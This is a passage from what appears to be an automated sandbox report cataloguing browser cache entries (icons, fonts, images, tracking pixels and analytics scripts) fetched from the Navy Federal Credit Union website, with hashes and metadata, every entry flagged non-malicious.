URL:	https://connect.facebook.net/signals/config/125275241484882?v=2.9.156&r=stable&domain=www.navyfederal.org&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105
Preview:	/*. Copyright (c) 2017-present, Facebook, Inc. All rights reserved... You are hereby granted a non-exclusive, worldwide, royalty-free license to use,.* copy, modify, and distribute this software in source code or binary form for use.* in connection with the web services and APIs provided by Facebook... As with any software that integrates with the Facebook platform, your use of.* this software is subject to the Facebook Platform Policy.* [http://developers.facebook.com/policy/]. This copyright notice shall be.* included in all copies or substantial portions of the software... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.* CONNECTION WI

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1396
Entropy (8bit):	4.7225664086661645
Encrypted:	false
SSDEEP:	24:tu1Mz4nprFWUUZ+cblKlXF+k/3WzvYCWW/1U/zgw6Cu5sAF0YA9tSekuXlGmW0+e:0BpWZ/cl5CPWW/1U/zECutF0YA5kuXlX
MD5:	2AC4F9606F26ACF17239DD5556758BD2
SHA1:	568D170C93F8DB284A8E6F4BF06F94D9F6EFE088
SHA-256:	272FF2A3C363D2574BD6091574944F98C3E30D5CFD17AFA816BFF96B6F319D0B
SHA-512:	2FFC5693FD814F77244CC9903173B3BB36CDC2B879A004A9DD1FA3991ED6A30BCA9C71CDEE9445EECEF8E725B73F635509C2395F7FD18479A43FBB161293A494
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/content/dam/icons/single-tone/blue/global-rates-bar-auto.svg
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 216 216"><defs><style>.cls-1{fill:#1e69b3;}</style></defs><title>39337 (9-20) - DC_Global Rates Bar SVG Icons (9-20)</title><path class="cls-1" d="M108,7A101,101,0,1,1,7,108,101.12,101.12,0,0,1,108,7m0-7A108,108,0,1,0,216,108,108,108,0,0,0,108,0Z"/><g id="car"><path id="Path_2044" data-name="Path 2044" class="cls-1" d="M172.64,85h-4.18a5.72,5.72,0,0,0-5.33,3.81l-1.9,3.8h-1.9L157.05,69A14.37,14.37,0,0,0,144.12,55h-73A13.74,13.74,0,0,0,58.18,68.64L55.9,92.22H54.76l-1.9-3.8a5.72,5.72,0,0,0-5.33-3.81H43.35c-2.66.38-4.56,2.67-4.18,5v1.9a4.21,4.21,0,0,0,4.18,4.94H55.52l-.38,3.8s-13.69,12.17-13.69,16c0,2.66-.76,12.16,0,19.77a4.88,4.88,0,0,0,1.52,3.8v14.07a7.22,7.22,0,0,0,7.22,7.23h11a7.23,7.23,0,0,0,7.23-7.23V142.41h80.61v11.41a7.23,7.23,0,0,0,7.23,7.23h11a7.22,7.22,0,0,0,7.22-7.23V137.09h0v-.76a114.56,114.56,0,0,0-.38-19.77c0-3.81-13.69-16-13.69-16h0l-.38-3.42h12.55c2.66-.38,4.56-2.66,4.18-4.94v-1.9a4.3,4.3

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.687144312913345
Encrypted:	false
SSDEEP:	3:CU9yltxlEun:Vu
MD5:	00657DD79637A8DAF5E6196CA17F1887
SHA1:	3E064855D1FE7C6EAC52981A646EC5840BA7EFB5
SHA-256:	F0C71E3DA5B3FCAB3C66AF1CF0CDBF262C97B9330B7B37116F1AE2AB18BDC660
SHA-512:	27524EAAD778B2C220D655BAE2AC4A6C4CF54112FAF9133E34A4C25C3CD2A8A04CB7CEC35A09F80D4F51DFC73B1F94C63BBC92171220FE83F6F0BDB204645485
Malicious:	false
Reputation:	low
URL:	https://collector-11598.tvsquared.com/tv2track.php?action_name=Find%20a%20Credit%20Union%20or%20ATM%20Near%20You%20%7C%20Navy%20Federal%20Credit%20Union&idsite=TV-8181450918-1&rec=1&r=309707&h=18&m=46&s=16&url=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&_id=42a926125f51d849&_idts=1716590758&_idvc=0&_idn=0&_viewts=&pdf=1&qt=0&realp=0&wma=0&dir=0&fla=0&java=0&gears=0&ag=0&cookie=1&res=1280x1024&gt_ms=1046
Preview:	GIF89a.............!.......,...........(.;

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1167
Entropy (8bit):	5.296486631350944
Encrypted:	false
SSDEEP:	24:tu1Mz4nprFSg9gGHfb2km4GRXk8mf/1Pf/eJw:0BpMugebOk8m/1PfmJw
MD5:	DB98B64D096749D57EFBA148232DD97E
SHA1:	711AC4102E4CA35D04057597BC3D2E923188AA09
SHA-256:	8FE72CDB7C4CA1A4AF46BF9BCFA847FD32D9326BCCC6B81D50164C842344D6B5
SHA-512:	71D47AEC0318B8503080D654D9E1A6D91A41B83E837C644E913DFB0FF7947033B6B7834E9AD2CCA7454ACAFD1EBB9FF8E909DDE29212E62AFB95FD2C7558E667
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/content/dam/icons/single-tone/blue/global-rates-bar-mortgages.svg
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 216 216"><defs><style>.cls-1{fill:#1e69b3;}</style></defs><title>39337 (9-20) - DC_Global Rates Bar SVG Icons (9-20)</title><path class="cls-1" d="M108,7A101,101,0,1,1,7,108,101.12,101.12,0,0,1,108,7m0-7A108,108,0,1,0,216,108,108,108,0,0,0,108,0Z"/><g id="Group_5467" data-name="Group 5467"><g id="Group_3615" data-name="Group 3615"><g id="Group_5467-2" data-name="Group 5467-2"><g id="Group_2702" data-name="Group 2702"><g id="Group_2701" data-name="Group 2701"><path id="Path_972" data-name="Path 972" class="cls-1" d="M90.6,122.78v51.86h73.9V122.78Zm64,42.35h-52v-5.78H154.6Zm0-12.78h-52v-5.78H154.6Zm0-12.88h-52v-5.78H154.6Z"/></g></g></g></g><g id="Group_3947" data-name="Group 3947"><g id="Group_3946" data-name="Group 3946"><path id="Union_1" data-name="Union 1" class="cls-1" d="M63.11,167.68a5.86,5.86,0,0,1-5.88-5.83V104.33H45.48a3.27,3.27,0,0,1-3.08-2,3.14,3.14,0,0,1,.67-3.55L102,42.29a3.46,3.46,0,0,1,

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	8956
Entropy (8bit):	7.943542712968243
Encrypted:	false
SSDEEP:	192:+zCD594EhYVj0TAJqAKy6/fupe31+kshXK9mB1TzhZ8xDeCY31o33JYWW6d:S294E60TAIgM+kshXCmjnveY3ynqm
MD5:	3B331CD2CDF913C2F0748DB41CF45733
SHA1:	77134EEF87E1EEB7946DBA324A7D23FC5701E45C
SHA-256:	2D1900C91106967278582F640C61D492EEE221B51501D131A3AD0D97C80EEFE1
SHA-512:	6706B5A6BAFC20A3DE1F40F1F9F13A148542D6269FCD96A396F89E15ED92EA2846E7219072E86741A21C0280D225C922860FB874143014ED5044A7C45082B0BA
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/MomsDadsGrads_mobileTile_774x335?qlt=80&wid=320&ts=1713895369983&fmt=png-alpha%20&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm.........,iloc....D................4.................Biinf..........infe........av01Color.....infe........av01Alpha.....iref........auxl..........iprp....ipco....ispe.......@........pixi............av1C........colrnclx...........pixi..........av1C.......8auxC....urn:mpeg:mpegB:cicp:systems:auxiliary:alpha.....ipma........................!Omdat.....!..L2.....$P..=.U....t....Q....\|.\|.s.)V.y.@....R.Qz.(.M...ST...\| ..O..f.NL.(.#6....2...E\...>9;...L_..k.i1P`.#.q..j\|[..}..%.@.?.....&.1.o.i"..?...r....l^......@S..v.d...A.....dD-.....>.Lb.w...]8...Y(.Is.z........9q_..........O9.q.t...u.DF...~..#8Q..6...T7B]G.]....w.....=.9.Z.!x.W..L.)wto...j'..r..H.q...6n....ci.-]0~.s^r..lAD....v....W...gt...M..w...:a.>)0+.n....w...^.m.A..O..F.z#2..s.8....IL....w.y[.....M.q7..F.cN.g..z[U....X.$.6.m...R..........!x...ov..2p.I......T..+z......o ..:....<Zs.{...`.i:+...G..i..r9h..\..x._..f;w.;

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 13980, version 1.3276
Category:	downloaded
Size (bytes):	13980
Entropy (8bit):	7.981729480973128
Encrypted:	false
SSDEEP:	192:4eK8q+MGq9D2AuH4zuYIrQ/p0PolqobcckzLSs/hn9zz4abNb2mG9RZV61+IQ++2:JTqvR9DodW0P+W6AnR7b1G9P8lQPgdJ
MD5:	200D8792653B1C1D1C979F996CFE1255
SHA1:	90675F06FBECAE812D4E4161630F9E71268D53AA
SHA-256:	1A95BADC08844AF1A5D383F47734D6966D1333BCAAD50176A2C67E6A5EA8A9F9
SHA-512:	DBFF37311EA0E0C8E186580F7340A79382DEE4ABE3C0F5CA3DAE4DADA97A8BC88C02DDDB49593C40C4AC89EA82827C2E81DBAFAD63564076F53476D100F225CF
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/source-sans/source-sans-pro-v9-latin-italic.woff2
Preview:	wOF2......6........H..6=.........................@....p.`..f.(..s.....x....6.$..@..b.. ..\..1.K..t....=..9./...9M..W.1F.=..7.0.&........}v..qfV......3.....@....{........V...`.............u............Sm..$.\|..4..C.....Z.~. . ........g'X.XEEE...p....$.xS..).-3...31...C..e.2@s.F....}.f...!H.(a4....`.U....<....~.u.0K.D.7.I2i.8.D.=.P._.K..Z...B4.U.?l..1...g^\..._........e .4N'....R..f.D..\.{.._.f[..2}J..t...]...C.9~....~....-l...A,.E..f...."wK?..b......{.&..]B%RN)...i.........;.....)]..N.V.k.X..a.8.....UG.U.......<_....o&.t<.8..%+s...d`.h4................k....:..G....1.){.wn.~T .<F.e.^\.\.,....ci.h....t..65D.....h...D. .".B.4...\|.-...U.h.t.v.n1.........,]>l,..=tA+....aq.9s.VH.&..m'.P)&.H......ic.'...+\|..........9......g.nw.....n.....;/...".L..0..p.t..bjW<......0.i...1s...l*:..... ...c.....)..@..OP..h.:".n.sY.]..zB....Q..oe._.Ks....#&..v.;..(.LD..K..f....3.@#=.0......Ue~....\..4.e.R%\|........Y..\|A.....%+...R.6.,.#..px.`42@....n.$...S.....9a

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 14308, version 1.3276
Category:	downloaded
Size (bytes):	14308
Entropy (8bit):	7.985854761151876
Encrypted:	false
SSDEEP:	192:8a7MjSO2/VInbVTx3iI5DbberhHVCwQ6a3WnU9EwoyfoWVU2Dnm/np9aMdlxNoUi:uTnbV9ZbIpVCwgWSnf3XC5dl8UtdG
MD5:	A8AE0D5401BB928346EA5696443D4909
SHA1:	B9C7821C54DAD58CA7F53E42CB17CB7B85F37D0A
SHA-256:	A4FAC6D6F6782DA9CFE8D8C756D89953E2E1CA6A5340724385B948E083BBF569
SHA-512:	180750AD65512D15F74C0F20C696E6A45C8575B6CE63E054EA79D8686535DBD4176E8397517F36496D72C8C80B064320C4E6E8420A17DBE30CCD54FF9E671BFB
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/source-sans/source-sans-pro-v9-latin-300.woff2
Preview:	wOF2......7........(..7..........................@..d..`.`..f.(..s.....$..y.6.$..D..d.. ..J..9.K..z...l....g.D...ld.(...b<K...x@..G.E..2.(....8...+...v..^...nI..X..'.t....O..(..?..e+B.)$\|...I.&.....k..>.R&....\.%..\|...<.....qS8..k..... .....z......,.....-...j.c#ZF.T.bqz(...Xue.W.w.{..._.=>r..T.m.....1^cv..TXZ....K..I..T..y...........2]..d.C$..R...o@... .....K=.h..?...r`'W!G,.T...].....\|T.U5...I..D.aE..=..n.rk.<y.7<#.H\|U..e.7!1..F.uX.o.~...7.' ....(1.?.f..uz'_..b.X).]^.ffv..........y.#..3.<C.a..u.v..Q.\A...,S.)..].W.\..%.....\|e..&.?.d.....E.&;Mw)...t. _kmM....=..).}].].4.....m..~R.....`.C.(..^QM.d.w...+.4.9...J.,.R.!.q.[.r,.>J..=.V...c........c...\.#I..Q* ..P....a..X. .C..f".....e4El.u..............fD...:.A.......$.Q.H..[c..F[.../..S.p..@$.;...2....{.s.C8.<..Ue....(.C.....f..a-.........=G`.a.*..!..F......b..e...........J.......&n.M.<.<.d.\7..4-..........5l.y......z..}'....^m..S_-...8.T?OP....).9S..]....&....Rbg...N#`.....g.P.l.5.....

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4179)
Category:	downloaded
Size (bytes):	210881
Entropy (8bit):	5.536070472711672
Encrypted:	false
SSDEEP:	3072:woc0Iard8OdKMHba8TqCiqjysCBIQGmPa+dQWqzGmRmd4xKke4N:lb8OdKML9r1zQ1PTdQWqzGag8
MD5:	336262D7F92DCF4925A009C56485F45D
SHA1:	28FED59EA39DB4C3275A8F1E3F8522B643FA22E5
SHA-256:	C6DC5457D3654AE64B83FB57FC9C8FB6E99EDE0D41CEE9296C7F20B98224DEF7
SHA-512:	C94D64EB8EA277CD00B44B9546E9DC818EBE27BAD94E626A28C837271581103B296AC4BE4E05C0F20BEB9E5CE5DA6452D7062EFA9F5E245ADDAE1CDC40682BA2
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=DC-2992003
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__rep","vtp_containerId":"DC-2992003","vtp_remoteConfig":["map"],"tag_id":1},{"function":"__ogt_1p_data_v2","priority":0,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"",

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, 2 colors, hotspot @8x8
Category:	downloaded
Size (bytes):	326
Entropy (8bit):	2.5620714588910247
Encrypted:	false
SSDEEP:	6:Gl/0puls6M94pTiI+mBURd8EOJlZa8BBL:C0pqs6M94pTJyOZ77
MD5:	FEFF9159F56CB2069041D660B484EB07
SHA1:	0D0A08CF25A258511957F357B89D3908F3C5E6E3
SHA-256:	7342F390B12F636D14E25F698FC5E38CF6240994DC0C07FEFBBB4E78EC4D03C7
SHA-512:	F850277F48AC14FA363265469776E6F7F07F7DD743AA1D1AD7CF2329EEE6D323DA3422CF6BAAC066C84ECD24800A02088053EF3FC0488D170E7FC942AC8FFA99
Malicious:	false
Reputation:	low
URL:	https://maps.gstatic.com/mapfiles/openhand_8_8.cur
Preview:	...... ......0.......(... ...@...............................................................................................................................?...w...g...............................................................................................................................................................

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	7227
Entropy (8bit):	7.9456894660017205
Encrypted:	false
SSDEEP:	192:5YOawZYKE2gLG8beKaM8+XAL5q/dBKUwILGEfs:CORCTz8+Q9q/LKUZLXfs
MD5:	5DC86B3891E93EA99F2B54842FF87EB7
SHA1:	2DE03F7167F37ED1967E7AE4EAA6CB8198619362
SHA-256:	E03B66D28996D7035391A72ECF3EF63EB0E0A3436E628293133F33D5E2CF54F6
SHA-512:	1CAB605BBBD37B67E68641932F5662449183C79001609F39FE6491D488E018CCBB63C3E50F8990B6DF88DFFF4E588C2D3258CEACF6EBB37D2D670D1972E34EF4
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i5!3i7!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=51766
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE............szz.....MPU............._ch..................&'+......t.............\|..jpq...z.....{.........255..<=?.........................................4w....9IDATx......L...4;;....[/.\|...}7U...8..9.4..V...%.....F..5j.Q.F..5j.Q.F..5j.Q.F..5j.Q.F..5j...d....?y........@.QI..p8.].....0~.7 ..u%..z>...'t..i...!@.VB.....f..t<..{.<.f.......?&.H....n...8.4!...U...].O:..n2Y.z..t..l.. `....;...^O&.$\|g.ya......!h..Mk.-O.c...A.....'..1M..;t<....,^.$..\|.I.##..V.H....'......c...!#...+H...8.'.Au.........{....p..;.........O]..dFP.wD.>...D4../L...7....qF..O.<.3..0..7m..\|.....D..t..k..nY.F....Y.r...8..8v.?Nm@GX0.X.+...0.i......f..!..x.D.U'#@.$."!..3#..:..,.I.$cYp`.&/..R...!......".......G..,...X..cj42..".r....Hw>.w;:......t.......vl.>...\|....=!..C..L7..'..f]........;1=.F..5j.Q.F..5j..Y...~2f..~.W*...Q..o?..]..M@......F..5...~8.......:ph..FP.F..?........+.~tZ.2c.:..Q.F..?....w.3...uw.F..5j.Q.F

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	860
Entropy (8bit):	5.228654592392623
Encrypted:	false
SSDEEP:	12:tvG1YjDz4+6nGqlEOlFXyUcnjh8FhvEVP1rUivGJ1ePWGjPtKFUZm+Di:tu1Mz4nprFfOBh1rRveivtK6Z6
MD5:	71BB25DAAC86B18C69718EB5774613A2
SHA1:	0C7A9DE7764476A88446B91DC71A197EA0D392F6
SHA-256:	790848B0B39FA15BA150FEC7BBECCB2D7CCB4D894E3527747C44E6871D793FBF
SHA-512:	634C86B78386AE5BC0A4D1F4EF6C47BE7E9A05100E90215C3E7D7C36FDC56977C611280AE04162DD0A4AA12C6845D6210F548355FCCC32CAEBDF6BEE13035D22
Malicious:	false
Reputation:	low
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 216 216"><defs><style>.cls-1{fill:#1e69b3;}</style></defs><title>39337 (9-20) - DC_Global Rates Bar SVG Icons (9-20)</title><path class="cls-1" d="M108,7A101,101,0,1,1,7,108,101.12,101.12,0,0,1,108,7m0-7A108,108,0,1,0,216,108,108,108,0,0,0,108,0Z"/><g id="credit-card"><g id="Group_7674" data-name="Group 7674"><g id="Group_7673" data-name="Group 7673"><path id="Path_4043" data-name="Path 4043" class="cls-1" d="M174.78,69.09A5.87,5.87,0,0,0,169,63.21H46.89A5.81,5.81,0,0,0,41.12,69v6.12H174.78Z"/><path class="cls-1" d="M41.12,85.11v62.8a5.68,5.68,0,0,0,5.77,4.87H169.11a5.68,5.68,0,0,0,5.77-4.87V85.11ZM53.56,96.85H84.91v5.08H53.56ZM72.3,138.51a3,3,0,0,1-3,3H56.54a3,3,0,0,1-3-3v-8.2a3,3,0,0,1,3-3H69.33a3,3,0,0,1,3,3Zm89.81-26.74H53.56V106.7H162.11Z"/></g></g></g></svg>

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	5.065665725260646
Encrypted:	false
SSDEEP:	24:tu1Mz4nprFn8G0qV+BUFyu1hP2gududaRAhTCP+LRI:0BpqZBU31hReRcVdI
MD5:	18CEA930671431CDE287462C79D1BB0B
SHA1:	63B568A8A88A92210332DF3B06D274D7191A0942
SHA-256:	C54B3AC522F7D7B64E09A21452BC84A75DFE936F995E3C0792A94511A5E9ECFE
SHA-512:	9A62E9FE63FA903FB5EE99953CFB6636E9DAC9813DE2371C8D3D5173413BCC440FBAC897DA861C3A6C08BF667E0DEC2ED86524B571B1BC277373B2FD518C2D60
Malicious:	false
Reputation:	low
Preview:	<svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 216 216"><defs><style>.cls-1{fill:#1e69b3;}</style></defs><title>39337 (9-20) - DC_Global Rates Bar SVG Icons (9-20)</title><path class="cls-1" d="M108,7A101,101,0,1,1,7,108,101.12,101.12,0,0,1,108,7m0-7A108,108,0,1,0,216,108,108,108,0,0,0,108,0Z"/><g id="document-star"><g id="document-star-2"><g id="Group_3831" data-name="Group 3831"><path id="Path_1463" data-name="Path 1463" class="cls-1" d="M153,79.19v-.46h0c0-.09-.09-.18-.09-.37v-.09c0-.09-.1-.18-.1-.28h0c-.09-.09-.09-.18-.18-.28a.09.09,0,0,0-.09-.09h0l-.27-.28-31.17-30.9-.28-.28a.09.09,0,0,1-.1-.08h0c-.09-.09-.18-.09-.28-.18h0a.31.31,0,0,0-.27-.1h-.09c-.09,0-.18-.09-.37-.09H68.64A5.47,5.47,0,0,0,63,51V164.66a5.6,5.6,0,0,0,5.57,5.64h78.79a5.6,5.6,0,0,0,5.64-5.56V79.19ZM75.67,88.44h62.44v5.64H75.67Zm0,12.67h62.44v5.64H75.67Zm0,12.57h62.44v5.65H75.67ZM99.9,132H75.67v-4.17H99.9Zm33.39,27.93-10.63-5.64L112,159.93l2-11.84-8.6-8.42,11.93-1.75,5.37-10.82

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 13892, version 1.3276
Category:	downloaded
Size (bytes):	13892
Entropy (8bit):	7.985717119429626
Encrypted:	false
SSDEEP:	192:BU6rNmBRwIny9ubGjHugi+EqjzJ/K8WDjdbLjKDfo2FgL9KSlahtkW/8dFF2ltVG:BfrN03nvGb5imzY8yQ6xla5ESnlxW
MD5:	C18B7366BABF6ACE33427F60CF7FA7E0
SHA1:	B380E9F3DC4DFB061E70A88E1156EC89B008808A
SHA-256:	895B2A4707F964BDE44B6543D155F6DC43DDF4BCFF2DC46094789A7E313E07F0
SHA-512:	00E6E4DA3790882F6FCBDB6EC352850C701B8B91CC3C16A5B8CEFD4F95A2FBBAB583F4F7A9F42A8162DA04115468854CC0F73AC307E993CA8F3997FC974B23EC
Malicious:	false
Reputation:	low
URL:	https://www.navyfederal.org/etc.clientlibs/nfculibs/clientlibs/uife/clientlib-uife-nfculibs-site/resources/fonts/source-sans/source-sans-pro-v9-latin-700.woff2
Preview:	wOF2......6D.......\..5..........................@..V..`.`..f.(..s.....T..8.6.$..D..d.. ..\..9.K..y%....<.Q?..8....U.{C...8.P.....NPc......j..a.)DU={......;..J........w....../..<.(.ny..;.z.,......W.!>...DI.U5..\......b..Y.wj.b'R4...{..".j.(l.\|[..$.n.......`c....Z$..NA.mD.0...X.Fa...o7.._!.=k....I.A..:-/Q.....-Up.1.0 ..G...Z.....K]..M...L.....O.`p...0.yG..w.....d..1`'F0$.. ......F....R..>...8..0I_..M.p.#M...Zd(...uZ}.... Bv..c.....m.}...qa.0S=....(o.2..;.3..O...XB'.!M.......!..\|.. .(s2.Z...W>6.o@......J[.e.g..Ttc...h\|.4_.......e....@P..............=...9....M.".7...g..%.........Gaa9..".4...v....}..5....kW#.F...j.SZ..,.VBC..,0A,....og.nn.R.T....YkO.>...~.`H....j.C.......0...cv.j.B.z.a.e.!....i..ktl.DD....!....1...%.z.m.......%w.n.#..J P,.de..J.Qn....D...].........i..8dv.....i:...._..B.<tO.t`.f.@V.A>.....AM.g$.......^....$,h.....CB.^.....&. ..[do.D.....ZE...z.<....c5;......7{.)...:..3.j>..J.y$!.8r......t.^'.g...A..g.y..h...`...3B.0..#Z}......

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	low
Preview:	{}

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	35846
Entropy (8bit):	7.994357962790717
Encrypted:	true
SSDEEP:	768:l0axqjFp+++xAkXRXzmmjDHNKZ1l1g/GZAM2cEWAIGiGfZMPGG:lL0W++hhzmmjDHXN5cE7fZMPGG
MD5:	751EFA794A35A5C5D13A6D20997092F6
SHA1:	44A253A705CF54C302AECB0E9C47ABEE11DA5337
SHA-256:	28C92057CB4C3C24C389EA610BAF09BFD8752B6CF54ED2EA416F7C947E470D49
SHA-512:	43F2C4C7A2F02E3645325BF95EA2149369DC9B5AD9E631031F9471A5949CFE586793B4E85029CBF284D770B3E7AD37D8567EFC3CE5170AFCD9590B96C0336089
Malicious:	false
Reputation:	low
URL:	https://dm-assets.navyfederal.org/is/image/nfcu/GettyImages-1437767254?qlt=80&wid=800&ts=1689965334414&dpr=off
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D....................(iinf..........infe........av01Color....jiprp...Kipco....ispe....... ........pixi............av1C........colrnclx...........ipma...................mdat.....&q.W.....2...p.E.Q@.Ac..om..V...RH....U.O.6...q.....E......m.{.l......[.^./.Wn./L!..@.....#....p.../..Q...U.(..kw.,+8...ah.z.c.o..y.._.>1......Y..4.....S.....?.x.\|-mq.8}!....W9..6.T.O.N.......p.....u.>.....ei.Q.......ccj..._.!...;k..x,(H.v.A.g..........[.e..(..Nq[...:...B..u.....q..E.$.(.,<.%...m[..I...Xq...h.@.npO..y9.o{..P..9.,.as1....... ...8.~.X..Ej.(.;x./.(...em.@....6.......Y..d.v.F).h....xU.U.Z...Or.....-{1.xZ...0.............Y.i.'.m.k....d$o..X......:...8gj.7V....Q.\..Y.o....E]dU]K...Zt..1...!...#.'.-.0.,.Tn.".h......-pC.2.h)F...).A.%..t.e.%...fm..].5.....xg.1...w=.`..q."d..M..f..O#.tm.....+.l%cF.....@..$..0..Z....Z$tJ...9..C...P}.~...9.g.yN.<..EF/......x

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (46429), with no line terminators
Category:	downloaded
Size (bytes):	46430
Entropy (8bit):	5.303853365298302
Encrypted:	false
SSDEEP:	768:OaOFhhR5OIahpjfRys3LzQR04TYYyDMOWPKQ:OaOFnRqDRtzQ64IfWiQ
MD5:	72BCA04FD669EB89FC65D59052D0FC00
SHA1:	27E60AEF86F0CB1B2F6B6ED9DF9A4E3BA88EFD21
